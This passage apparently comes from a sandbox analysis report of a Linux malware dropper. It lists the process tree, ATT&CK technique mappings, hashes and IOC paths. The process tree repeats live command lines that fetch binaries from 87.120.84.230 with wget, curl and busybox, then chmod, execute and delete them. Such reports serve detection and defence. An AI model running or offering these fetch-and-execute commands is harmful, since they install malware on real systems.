  curl -O http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:959
- /bin/chmod
  chmod 777 lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  ./lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:965
- /bin/chmod
  chmod 777 TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  ./TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:971
- /bin/chmod
  chmod 777 ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  ./ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:977
- /bin/chmod
  chmod 777 0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  ./0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm 0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
  2⤵
  PID:980
- /usr/bin/wget
  wget http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:983
- /bin/chmod
  chmod 777 cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  ./cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
  2⤵
  PID:986

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d

Path /tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d	745	5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
/tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h	751	NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
/tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae	757	vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
/tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd	785	u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
/tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20	813	ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
/tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i	820	mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
/tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u	830	llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
/tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv	857	5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
/tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd	871	TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
/tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo	877	lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
/tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj	883	TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
/tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC	889	ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
/tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH	895	0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
/tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6	901	cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6
/tmp/5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d	907	5RjnFNdEOpzG4ftduD3rV4JqC6Fb7OeR7d
/tmp/NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h	913	NZQ79hdipfm5YcU1u3Endr0JCJkVkKah9h
/tmp/vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae	919	vrFIExOTl4u7cISOkoLG7AGIfiT1Ez07Ae
/tmp/u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd	925	u3kJ8a558tj1ZayEY5BrwMFFv5i3KXSRvd
/tmp/ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20	931	ScaN2jxzNdPm3TEMNLdxEGVvyIgHHEIr20
/tmp/mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i	937	mOFfPYmVvbsWjodQayVeWC8knkNgeB0w8i
/tmp/llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u	943	llnFG3akvtbzdaoWf5aQr0HZ6i72e6Rf1u
/tmp/5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv	949	5sKLMEYEB8DokArnHoHtFf4QHu3qu269kv
/tmp/TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd	955	TzqvDcWeZg38Igp5EnXVkuK6WDEqIPeBbd
/tmp/lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo	961	lZeGioOLwaUTRcfbbVzVU5iGXU3wnsyeFo
/tmp/TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj	967	TER9m66OQOq1Kt2oX5o27oQeanFUyD23Wj
/tmp/ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC	973	ha2bJmL75D0DtfCiv3CUgAOYfm2XPnJCaC
/tmp/0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH	979	0Q2eF8nANbCiV2LwWm0kTxeAA1zWOLsHfH
/tmp/cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6	985	cf6YUEdIReE7Wn7lq4kVzqa5bvolwgf7T6